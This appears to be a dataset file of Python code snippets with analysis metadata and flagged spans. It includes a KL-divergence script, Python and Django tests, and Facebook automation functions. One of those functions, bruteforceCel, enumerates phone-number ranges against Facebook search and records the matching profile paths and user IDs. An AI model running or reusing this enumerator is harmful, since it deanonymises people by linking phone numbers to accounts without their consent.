"root.getUserIDS", "header": "['module', '___EOS___']", "index": 3202 }, { "content": "def sendPrivateMessage(message,buddy):\n \n c_user = getC_user()\n \n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][thread_id]' : '',\n 'message_batch[0][author]' : 'fbid:'+c_user,\n 'message_batch[0][author_email]' : '',\n 'message_batch[0][coordinates]' : '',\n 'message_batch[0][timestamp]' : str(int(time())),\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : getTime(),\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][is_filtered_content_bh]' : 'false',\n 'message_batch[0][is_filtered_content_account]' : 'false',\n 'message_batch[0][is_filtered_content_quasar]' : 'false',\n 'message_batch[0][is_filtered_content_invalid_app]' : 'false',\n 'message_batch[0][is_spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : message,\n 'message_batch[0][has_attachment]' : 'false',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:' + buddy,\n 'message_batch[0][specific_to_list][1]' : 'fbid:' + c_user,\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1394766424499:3126670212-4125121119@mail.projektitan.com>',\n 'message_batch[0][client_thread_id]' : 'user:'+str(c_user),\n 'message_batch[0][manual_retry_cnt]' : '0',\n 'client' : 'web_messenger',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : 'aKTyBW8BgBlyibgggDDzbHaF8x9DzECQHyUmyVbGAGQi8VpCC-KGBxmm6oxpbGES5V8Gh6VEChyd1eFEsz-dCxK9xibyfCChQEjkwzyAAEnhRGeKmhmKVRz9Hxmi8V9-i78',\n '__req' : '1w',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '2658171975212154891167782118',\n '__rev' : '1925563'\n }\n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Ctrl+c SIGNAL Caught\\n'\n return", "metadata": "root.sendPrivateMessage", "header": "['module', '___EOS___']", "index": 3231 }, { "content": "def bruteforceCel(first,start,end):\n c_user = getC_user()\n try:\n f = open( os.path.join(\"cellphones\",\"cellphones.txt\"),\"a\" )\n f.close()\n except:\n f = open( os.path.join(\"cellphones\",\"cellphones.txt\"),\"wb\" )\n f.close()\n percentage = 0.0\n verified = 0\n for cellphone in range(int(start),int(end)):\n percentage = ((cellphone-int(start)) * 100.0) / (int(end) - int(start))\n flush()\n print '\\rCompleted [%.6f%%] - %d cellphone - %d verified\\r' %(percentage, cellphone, verified),\n try:\n response = br.open('https://www.facebook.com/typeahead/search/facebar/query/?value=[\"'+first+str(cellphone)+'\"]&context=facebar&grammar_version=7466c20ac89f47d6185f3a651461c1b1bac9a82d&content_search_mode&viewer='+c_user+'&rsp=search&qid=8&max_results=10&sid=0.24097281275317073&__user='+c_user+'&__a=1&__dyn=7nmajEyl2qm9udDgDxyIGzGpUW9ACxO4p9GgyimEVFLFwxBxCbzESu49UJ6K59poW8xHzoyfw&__req=1o&__rev=1536505')\n text = response.read()\n json_dump = json.loads(text.strip('for (;;);'))\n #print str(json_dump['payload']['entities'][0]['path'])\n #print str(json_dump['payload']['entities'][0]['uid'])\n #print first + str(cellphone)\n f = open( os.path.join(\"cellphones\",\"cellphones.txt\"),\"a\" )\n f.write(first + str(cellphone)+' '+str(json_dump['payload']['entities'][0]['path']) + ' ' + str(json_dump['payload']['entities'][0]['uid'])+'\\n')\n f.close()\n verified += 1\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n f.close()\n continue", "metadata": "root.bruteforceCel", "header": "['module', '___EOS___']", "index": 3352 } ]

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[ { "content": "def main(argv=None):\n \"\"\"script main.\n\n parses command line options in sys.argv, unless *argv* is given.\n \"\"\"\n\n if argv is None:\n argv = sys.argv\n\n parser = E.OptionParser(\n version=\"%prog version: $Id\",\n usage=globals()[\"__doc__\"])\n\n parser.add_option(\"-m\", \"--method\", dest=\"method\", type=\"choice\",\n help=\"method to use [kl=kullback-leibler]\",\n choices=(\"kl\",))\n parser.add_option(\"-n\", \"--no-normalize\", dest=\"normalize\", action=\"store_false\",\n help=\"do not normalize data\")\n parser.add_option(\"-p\", \"--pseudocounts\", dest=\"pseudocounts\", type=\"int\",\n help=\"pseudocounts to add.\")\n parser.add_option(\"-f\", \"--number-format\", dest=\"number_format\", type=\"string\",\n help=\"number format.\")\n\n parser.set_defaults(\n method=\"kl\",\n columns=\"all\",\n headers=True,\n xrange=None,\n pseudocounts=1,\n normalize=True,\n number_format=\"%6.4f\"\n )\n\n (options, args) = E.Start(parser,\n add_pipe_options=True)\n\n if options.xrange:\n options.xrange = map(float, options.xrange.split(\",\"))\n\n data, legend = IOTools.readTable(sys.stdin,\n numeric_type=numpy.float32,\n take=options.columns,\n headers=options.headers,\n truncate=options.xrange)\n\n nrows, ncols = data.shape\n\n # first: normalize rows\n for y in range(1, ncols):\n for x in range(nrows):\n data[x, y] = data[x, y] + float(options.pseudocounts)\n if options.normalize:\n t = numpy.sum(data[:, y])\n for x in range(nrows):\n data[x, y] = data[x, y] / t\n\n for x in range(1, len(legend) - 1):\n for y in range(x + 1, len(legend)):\n\n if options.method == \"kl\":\n d1 = 0.0\n d2 = 0.0\n for bin in range(nrows):\n p = data[bin, x]\n q = data[bin, y]\n d1 += p * math.log(p / q)\n d2 += q * math.log(q / p)\n\n options.stdout.write(\"%s\\t%s\\t%s\\n\" %\n (legend[x], legend[y],\n options.number_format % d1))\n options.stdout.write(\"%s\\t%s\\t%s\\n\" %\n (legend[y], legend[x],\n options.number_format % d2))\n\n E.Stop()", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 39 } ]

[ { "span": "argv ", "start_line": 46, "start_column": 8, "end_line": 46, "end_column": 12 } ]

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"(_", "legend_", "[_", "x_", "]_", ",_", "legend_", "[_", "y_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "number", "\\u", "format_", "%_", "d1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "stdout_", "._", "write_", "(_", "\"%", "s", "\\\\", "t", "%", "s", "\\\\", "t", "%", "s", "\\\\", "n", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "legend_", "[_", "y_", "]_", ",_", "legend_", "[_", "x_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "number", "\\u", "format_", "%_", "d2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "E_", "._", "Stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]

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[ { "content": "# Python test set -- part 6, built-in types\n\nfrom test.test_support import *\n\nprint '6. Built-in types'\n\nprint '6.1 Truth value testing'\nif None: raise TestFailed, 'None is true instead of false'\nif 0: raise TestFailed, '0 is true instead of false'\nif 0L: raise TestFailed, '0L is true instead of false'\nif 0.0: raise TestFailed, '0.0 is true instead of false'\nif '': raise TestFailed, '\\'\\' is true instead of false'\nif not 1: raise TestFailed, '1 is false instead of true'\nif not 1L: raise TestFailed, '1L is false instead of true'\nif not 1.0: raise TestFailed, '1.0 is false instead of true'\nif not 'x': raise TestFailed, '\\'x\\' is false instead of true'\nif not {'x': 1}: raise TestFailed, '{\\'x\\': 1} is false instead of true'\nimport sys\nx = C()\nif not f: raise TestFailed, 'f is false instead of true'\nif not C: raise TestFailed, 'C is false instead of true'\nif not sys: raise TestFailed, 'sys is false instead of true'\nif not x: raise TestFailed, 'x is false instead of true'\n\nprint '6.2 Boolean operations'\nif 0 or 0: raise TestFailed, '0 or 0 is true instead of false'\nif 1 and 1: pass\nelse: raise TestFailed, '1 and 1 is false instead of true'\nif not 1: raise TestFailed, 'not 1 is true instead of false'\n\nprint '6.3 Comparisons'\nif 0 < 1 <= 1 == 1 >= 1 > 0 != 1: pass\nelse: raise TestFailed, 'int comparisons failed'\nif 0L < 1L <= 1L == 1L >= 1L > 0L != 1L: pass\nelse: raise TestFailed, 'long int comparisons failed'\nif 0.0 < 1.0 <= 1.0 == 1.0 >= 1.0 > 0.0 != 1.0: pass\nelse: raise TestFailed, 'float comparisons failed'\nif '' < 'a' <= 'a' == 'a' < 'abc' < 'abd' < 'b': pass\nelse: raise TestFailed, 'string comparisons failed'\nif None is None: pass\nelse: raise TestFailed, 'identity test failed'\n\ntry: float('')\nexcept ValueError: pass\nelse: raise TestFailed, \"float('') didn't raise ValueError\"\n\ntry: float('5\\0')\nexcept ValueError: pass\nelse: raise TestFailed, \"float('5\\0') didn't raise ValueError\"\n\ntry: 5.0 / 0.0\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5.0 / 0.0 didn't raise ZeroDivisionError\"\n\ntry: 5.0 // 0.0\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5.0 // 0.0 didn't raise ZeroDivisionError\"\n\ntry: 5.0 % 0.0\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5.0 % 0.0 didn't raise ZeroDivisionError\"\n\ntry: 5 / 0L\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5 / 0L didn't raise ZeroDivisionError\"\n\ntry: 5 // 0L\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5 // 0L didn't raise ZeroDivisionError\"\n\ntry: 5 % 0L\nexcept ZeroDivisionError: pass\nelse: raise TestFailed, \"5 % 0L didn't raise ZeroDivisionError\"\n\nprint '6.4 Numeric types (mostly conversions)'\nif 0 != 0L or 0 != 0.0 or 0L != 0.0: raise TestFailed, 'mixed comparisons'\nif 1 != 1L or 1 != 1.0 or 1L != 1.0: raise TestFailed, 'mixed comparisons'\nif -1 != -1L or -1 != -1.0 or -1L != -1.0:\n raise TestFailed, 'int/long/float value not equal'\n# calling built-in types without argument must return 0\nif int() != 0: raise TestFailed, 'int() does not return 0'\nif long() != 0L: raise TestFailed, 'long() does not return 0L'\nif float() != 0.0: raise TestFailed, 'float() does not return 0.0'\nif int(1.9) == 1 == int(1.1) and int(-1.1) == -1 == int(-1.9): pass\nelse: raise TestFailed, 'int() does not round properly'\nif long(1.9) == 1L == long(1.1) and long(-1.1) == -1L == long(-1.9): pass\nelse: raise TestFailed, 'long() does not round properly'\nif float(1) == 1.0 and float(-1) == -1.0 and float(0) == 0.0: pass\nelse: raise TestFailed, 'float() does not work properly'\nprint '6.4.1 32-bit integers'\n# Ensure the first 256 integers are shared\na = 256\nb = 128*2\nif a is not b: raise TestFailed, '256 is not shared'\nif 12 + 24 != 36: raise TestFailed, 'int op'\nif 12 + (-24) != -12: raise TestFailed, 'int op'\nif (-12) + 24 != 12: raise TestFailed, 'int op'\nif (-12) + (-24) != -36: raise TestFailed, 'int op'\nif not 12 < 24: raise TestFailed, 'int op'\nif not -24 < -12: raise TestFailed, 'int op'\n# Test for a particular bug in integer multiply\nxsize, ysize, zsize = 238, 356, 4\nif not (xsize*ysize*zsize == zsize*xsize*ysize == 338912):\n raise TestFailed, 'int mul commutativity'\n# And another.\nm = -sys.maxint - 1\nfor divisor in 1, 2, 4, 8, 16, 32:\n j = m // divisor\n prod = divisor * j\n if prod != m:\n raise TestFailed, \"%r * %r == %r != %r\" % (divisor, j, prod, m)\n if type(prod) is not int:\n raise TestFailed, (\"expected type(prod) to be int, not %r\" %\n type(prod))\n# Check for expected * overflow to long.\nfor divisor in 1, 2, 4, 8, 16, 32:\n j = m // divisor - 1\n prod = divisor * j\n if type(prod) is not long:\n raise TestFailed, (\"expected type(%r) to be long, not %r\" %\n (prod, type(prod)))\n# Check for expected * overflow to long.\nm = sys.maxint\nfor divisor in 1, 2, 4, 8, 16, 32:\n j = m // divisor + 1\n prod = divisor * j\n if type(prod) is not long:\n raise TestFailed, (\"expected type(%r) to be long, not %r\" %\n (prod, type(prod)))\n\nprint '6.4.2 Long integers'\nif 12L + 24L != 36L: raise TestFailed, 'long op'\nif 12L + (-24L) != -12L: raise TestFailed, 'long op'\nif (-12L) + 24L != 12L: raise TestFailed, 'long op'\nif (-12L) + (-24L) != -36L: raise TestFailed, 'long op'\nif not 12L < 24L: raise TestFailed, 'long op'\nif not -24L < -12L: raise TestFailed, 'long op'\nx = sys.maxint\nif int(long(x)) != x: raise TestFailed, 'long op'\ntry: y = int(long(x)+1L)\nexcept OverflowError: raise TestFailed, 'long op'\nif not isinstance(y, long): raise TestFailed, 'long op'\nx = -x\nif int(long(x)) != x: raise TestFailed, 'long op'\nx = x-1\nif int(long(x)) != x: raise TestFailed, 'long op'\ntry: y = int(long(x)-1L)\nexcept OverflowError: raise TestFailed, 'long op'\nif not isinstance(y, long): raise TestFailed, 'long op'\n\ntry: 5 << -5\nexcept ValueError: pass\nelse: raise TestFailed, 'int negative shift <<'\n\ntry: 5L << -5L\nexcept ValueError: pass\nelse: raise TestFailed, 'long negative shift <<'\n\ntry: 5 >> -5\nexcept ValueError: pass\nelse: raise TestFailed, 'int negative shift >>'\n\ntry: 5L >> -5L\nexcept ValueError: pass\nelse: raise TestFailed, 'long negative shift >>'\n\nprint '6.4.3 Floating point numbers'\nif 12.0 + 24.0 != 36.0: raise TestFailed, 'float op'\nif 12.0 + (-24.0) != -12.0: raise TestFailed, 'float op'\nif (-12.0) + 24.0 != 12.0: raise TestFailed, 'float op'\nif (-12.0) + (-24.0) != -36.0: raise TestFailed, 'float op'\nif not 12.0 < 24.0: raise TestFailed, 'float op'\nif not -24.0 < -12.0: raise TestFailed, 'float op'\n\nprint '6.5 Sequence types'\n\nprint '6.5.1 Strings'\nif len('') != 0: raise TestFailed, 'len(\\'\\')'\nif len('a') != 1: raise TestFailed, 'len(\\'a\\')'\nif len('abcdef') != 6: raise TestFailed, 'len(\\'abcdef\\')'\nif 'xyz' + 'abcde' != 'xyzabcde': raise TestFailed, 'string concatenation'\nif 'xyz'*3 != 'xyzxyzxyz': raise TestFailed, 'string repetition *3'\nif 0*'abcde' != '': raise TestFailed, 'string repetition 0*'\nif min('abc') != 'a' or max('abc') != 'c': raise TestFailed, 'min/max string'\nif 'a' in 'abc' and 'b' in 'abc' and 'c' in 'abc' and 'd' not in 'abc': pass\nelse: raise TestFailed, 'in/not in string'\nx = 'x'*103\nif '%s!'%x != x+'!': raise TestFailed, 'nasty string formatting bug'\n\n#extended slices for strings\na = '0123456789'\nvereq(a[::], a)\nvereq(a[::2], '02468')\nvereq(a[1::2], '13579')\nvereq(a[::-1],'9876543210')\nvereq(a[::-2], '97531')\nvereq(a[3::-2], '31')\nvereq(a[-100:100:], a)\nvereq(a[100:-100:-1], a[::-1])\nvereq(a[-100L:100L:2L], '02468')\n\nif have_unicode:\n a = unicode('0123456789', 'ascii')\n vereq(a[::], a)\n vereq(a[::2], unicode('02468', 'ascii'))\n vereq(a[1::2], unicode('13579', 'ascii'))\n vereq(a[::-1], unicode('9876543210', 'ascii'))\n vereq(a[::-2], unicode('97531', 'ascii'))\n vereq(a[3::-2], unicode('31', 'ascii'))\n vereq(a[-100:100:], a)\n vereq(a[100:-100:-1], a[::-1])\n vereq(a[-100L:100L:2L], unicode('02468', 'ascii'))\n\n\nprint '6.5.2 Tuples [see test_tuple.py]'\n\nprint '6.5.3 Lists [see test_list.py]'\n\nprint '6.6 Mappings == Dictionaries [see test_dict.py]'\n\n\ntry: type(1, 2)\nexcept TypeError: pass\nelse: raise TestFailed, 'type(), w/2 args expected TypeError'\n\ntry: type(1, 2, 3, 4)\nexcept TypeError: pass\nelse: raise TestFailed, 'type(), w/4 args expected TypeError'\n\n# XXX: Jython lacks buffers\nprint 'Buffers'\nif not is_jython:\n try: buffer('asdf', -1)\n except ValueError: pass\n else: raise TestFailed, \"buffer('asdf', -1) should raise ValueError\"\n cmp(buffer(\"abc\"), buffer(\"def\")) # used to raise a warning: tp_compare didn't return -1, 0, or 1\n\n try: buffer(None)\n except TypeError: pass\n else: raise TestFailed, \"buffer(None) should raise TypeError\"\n\n a = buffer('asdf')\n hash(a)\n b = a * 5\n if a == b:\n raise TestFailed, 'buffers should not be equal'\n if str(b) != ('asdf' * 5):\n raise TestFailed, 'repeated buffer has wrong content'\n if str(a * 0) != '':\n raise TestFailed, 'repeated buffer zero times has wrong content'\n if str(a + buffer('def')) != 'asdfdef':\n raise TestFailed, 'concatenation of buffers yields wrong content'\n if str(buffer(a)) != 'asdf':\n raise TestFailed, 'composing buffers failed'\n if str(buffer(a, 2)) != 'df':\n raise TestFailed, 'specifying buffer offset failed'\n if str(buffer(a, 0, 2)) != 'as':\n raise TestFailed, 'specifying buffer size failed'\n if str(buffer(a, 1, 2)) != 'sd':\n raise TestFailed, 'specifying buffer offset and size failed'\n try: buffer(buffer('asdf', 1), -1)\n except ValueError: pass\n else: raise TestFailed, \"buffer(buffer('asdf', 1), -1) should raise ValueError\"\n if str(buffer(buffer('asdf', 0, 2), 0)) != 'as':\n raise TestFailed, 'composing length-specified buffer failed'\n if str(buffer(buffer('asdf', 0, 2), 0, 5000)) != 'as':\n raise TestFailed, 'composing length-specified buffer failed'\n if str(buffer(buffer('asdf', 0, 2), 0, -1)) != 'as':\n raise TestFailed, 'composing length-specified buffer failed'\n if str(buffer(buffer('asdf', 0, 2), 1, 2)) != 's':\n raise TestFailed, 'composing length-specified buffer failed'\n\n try: a[1] = 'g'\n except TypeError: pass\n else: raise TestFailed, \"buffer assignment should raise TypeError\"\n\n try: a[0:1] = 'g'\n except TypeError: pass\n else: raise TestFailed, \"buffer slice assignment should raise TypeError\"\n\n # array.array() returns an object that does not implement a char buffer,\n # something which int() uses for conversion.\n import array\n try: int(buffer(array.array('c')))\n except TypeError :pass\n else: raise TestFailed, \"char buffer (at C level) not working\"\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]

[ { "content": " def test_ticket2306(self):\n # Checking that no join types are \"left outer\" joins.\n query = Item.objects.filter(tags=self.t2).query\n self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])\n\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1)).order_by('name'),\n ['<Item: one>', '<Item: two>']\n )\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1)).filter(Q(tags=self.t2)),\n ['<Item: one>']\n )\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1)).filter(Q(creator__name='fred')|Q(tags=self.t2)),\n ['<Item: one>']\n )\n\n # Each filter call is processed \"at once\" against a single table, so this is\n # different from the previous example as it tries to find tags that are two\n # things at once (rather than two tags).\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1) & Q(tags=self.t2)),\n []\n )\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1), Q(creator__name='fred')|Q(tags=self.t2)),\n []\n )\n\n qs = Author.objects.filter(ranking__rank=2, ranking__id=self.rank1.id)\n self.assertQuerysetEqual(list(qs), ['<Author: a2>'])\n self.assertEqual(2, qs.query.count_active_tables(), 2)\n qs = Author.objects.filter(ranking__rank=2).filter(ranking__id=self.rank1.id)\n self.assertEqual(qs.query.count_active_tables(), 3)", "metadata": "root.Queries1Tests.test_ticket2306", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 108 }, { "content": " def test_tickets_5324_6704(self):\n self.assertQuerysetEqual(\n Item.objects.filter(tags__name='t4'),\n ['<Item: four>']\n )\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t4').order_by('name').distinct(),\n ['<Item: one>', '<Item: three>', '<Item: two>']\n )\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t4').order_by('name').distinct().reverse(),\n ['<Item: two>', '<Item: three>', '<Item: one>']\n )\n self.assertQuerysetEqual(\n Author.objects.exclude(item__name='one').distinct().order_by('name'),\n ['<Author: a2>', '<Author: a3>', '<Author: a4>']\n )\n\n # Excluding across a m2m relation when there is more than one related\n # object associated was problematic.\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t1').order_by('name'),\n ['<Item: four>', '<Item: three>']\n )\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t1').exclude(tags__name='t4'),\n ['<Item: three>']\n )\n\n # Excluding from a relation that cannot be NULL should not use outer joins.\n query = Item.objects.exclude(creator__in=[self.a1, self.a2]).query\n self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])\n\n # Similarly, when one of the joins cannot possibly, ever, involve NULL\n # values (Author -> ExtraInfo, in the following), it should never be\n # promoted to a left outer join. So the following query should only\n # involve one \"left outer\" join (Author -> Item is 0-to-many).\n qs = Author.objects.filter(id=self.a1.id).filter(Q(extra__note=self.n1)|Q(item__note=self.n3))\n self.assertEqual(\n len([x[2] for x in qs.query.alias_map.values() if x[2] == query.LOUTER and qs.query.alias_refcount[x[1]]]),\n 1\n )\n\n # The previous changes shouldn't affect nullable foreign key joins.\n self.assertQuerysetEqual(\n Tag.objects.filter(parent__isnull=True).order_by('name'),\n ['<Tag: t1>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(parent__isnull=True).order_by('name'),\n ['<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(Q(parent__name='t1') | Q(parent__isnull=True)).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(Q(parent__isnull=True) | Q(parent__name='t1')).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(Q(parent__parent__isnull=True)).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.filter(~Q(parent__parent__isnull=True)).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )", "metadata": "root.Queries1Tests.test_tickets_5324_6704", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 285 }, { "content": " def test_ticket4358(self):\n # If you don't pass any fields to values(), relation fields are\n # returned as \"foo_id\" keys, not \"foo\". For consistency, you should be\n # able to pass \"foo_id\" in the fields list and have it work, too. We\n # actually allow both \"foo\" and \"foo_id\".\n\n # The *_id version is returned by default.\n self.assertTrue('note_id' in ExtraInfo.objects.values()[0])\n\n # You can also pass it in explicitly.\n self.assertValueQuerysetEqual(\n ExtraInfo.objects.values('note_id'),\n [{'note_id': 1}, {'note_id': 2}]\n )\n\n # ...or use the field name.\n self.assertValueQuerysetEqual(\n ExtraInfo.objects.values('note'),\n [{'note': 1}, {'note': 2}]\n )", "metadata": "root.Queries1Tests.test_ticket4358", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 474 }, { "content": " def test_ticket10742(self):\n # Queries used in an __in clause don't execute subqueries\n\n subq = Author.objects.filter(num__lt=3000)\n qs = Author.objects.filter(pk__in=subq)\n self.assertQuerysetEqual(qs, ['<Author: a1>', '<Author: a2>'])\n\n # The subquery result cache should not be populated\n self.assertTrue(subq._result_cache is None)\n\n subq = Author.objects.filter(num__lt=3000)\n qs = Author.objects.exclude(pk__in=subq)\n self.assertQuerysetEqual(qs, ['<Author: a3>', '<Author: a4>'])\n\n # The subquery result cache should not be populated\n self.assertTrue(subq._result_cache is None)\n\n subq = Author.objects.filter(num__lt=3000)\n self.assertQuerysetEqual(\n Author.objects.filter(Q(pk__in=subq) & Q(name='a1')),\n ['<Author: a1>']\n )\n\n # The subquery result cache should not be populated\n self.assertTrue(subq._result_cache is None)", "metadata": "root.Queries1Tests.test_ticket10742", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 747 }, { "content": " def test_order_by_resetting(self):\n # Calling order_by() with no parameters removes any existing ordering on the\n # model. But it should still be possible to add new ordering after that.\n qs = Author.objects.order_by().order_by('name')\n self.assertTrue('ORDER BY' in qs.query.get_compiler(qs.db).as_sql()[0])", "metadata": "root.Queries4Tests.test_order_by_resetting", "header": "['class', 'Queries4Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 1095 }, { "content": " def test_join_already_in_query(self):\n # Ordering by model related to nullable relations should not change\n # the join type of already existing joins.\n Plaything.objects.create(name=\"p1\")\n s = SingleObject.objects.create(name='s')\n r = RelatedObject.objects.create(single=s)\n Plaything.objects.create(name=\"p2\", others=r)\n qs = Plaything.objects.all().filter(others__isnull=False).order_by('pk')\n self.assertTrue('INNER' in str(qs.query))\n qs = qs.order_by('others__single__name')\n # The ordering by others__single__pk will add one new join (to single)\n # and that join must be LEFT join. The already existing join to related\n # objects must be kept INNER. So, we have both a INNER and a LEFT join\n # in the query.\n self.assertTrue('LEFT' in str(qs.query))\n self.assertTrue('INNER' in str(qs.query))\n self.assertQuerysetEqual(\n qs,\n ['<Plaything: p2>']\n )", "metadata": "root.NullableRelOrderingTests.test_join_already_in_query", "header": "['class', 'NullableRelOrderingTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 1387 } ]

[ { "span": "self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])", "start_line": 111, "start_column": 8, "end_line": 111, "end_column": 85 }, { "span": "self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])", "start_line": 316, "start_column": 8, "end_line": 316, "end_column": 85 }, { "span": "self.assertTrue('note_id' in ExtraInfo.objects.values()[0])", "start_line": 481, "start_column": 8, "end_line": 481, "end_column": 67 }, { "span": "self.assertTrue(subq._result_cache is None)", "start_line": 755, "start_column": 8, "end_line": 755, "end_column": 51 }, { "span": "self.assertTrue(subq._result_cache is None)", "start_line": 762, "start_column": 8, "end_line": 762, "end_column": 51 }, { "span": "self.assertTrue(subq._result_cache is None)", "start_line": 771, "start_column": 8, "end_line": 771, "end_column": 51 }, { "span": "self.assertTrue('ORDER BY' in qs.query.get_compiler(qs.db).as_sql()[0])", "start_line": 1099, "start_column": 8, "end_line": 1099, "end_column": 79 }, { "span": "self.assertTrue('INNER' in str(qs.query))", "start_line": 1395, "start_column": 8, "end_line": 1395, "end_column": 49 }, { "span": "self.assertTrue('LEFT' in str(qs.query))", "start_line": 1401, "start_column": 8, "end_line": 1401, "end_column": 48 }, { "span": "self.assertTrue('INNER' in str(qs.query))", "start_line": 1402, "start_column": 8, "end_line": 1402, "end_column": 49 } ]

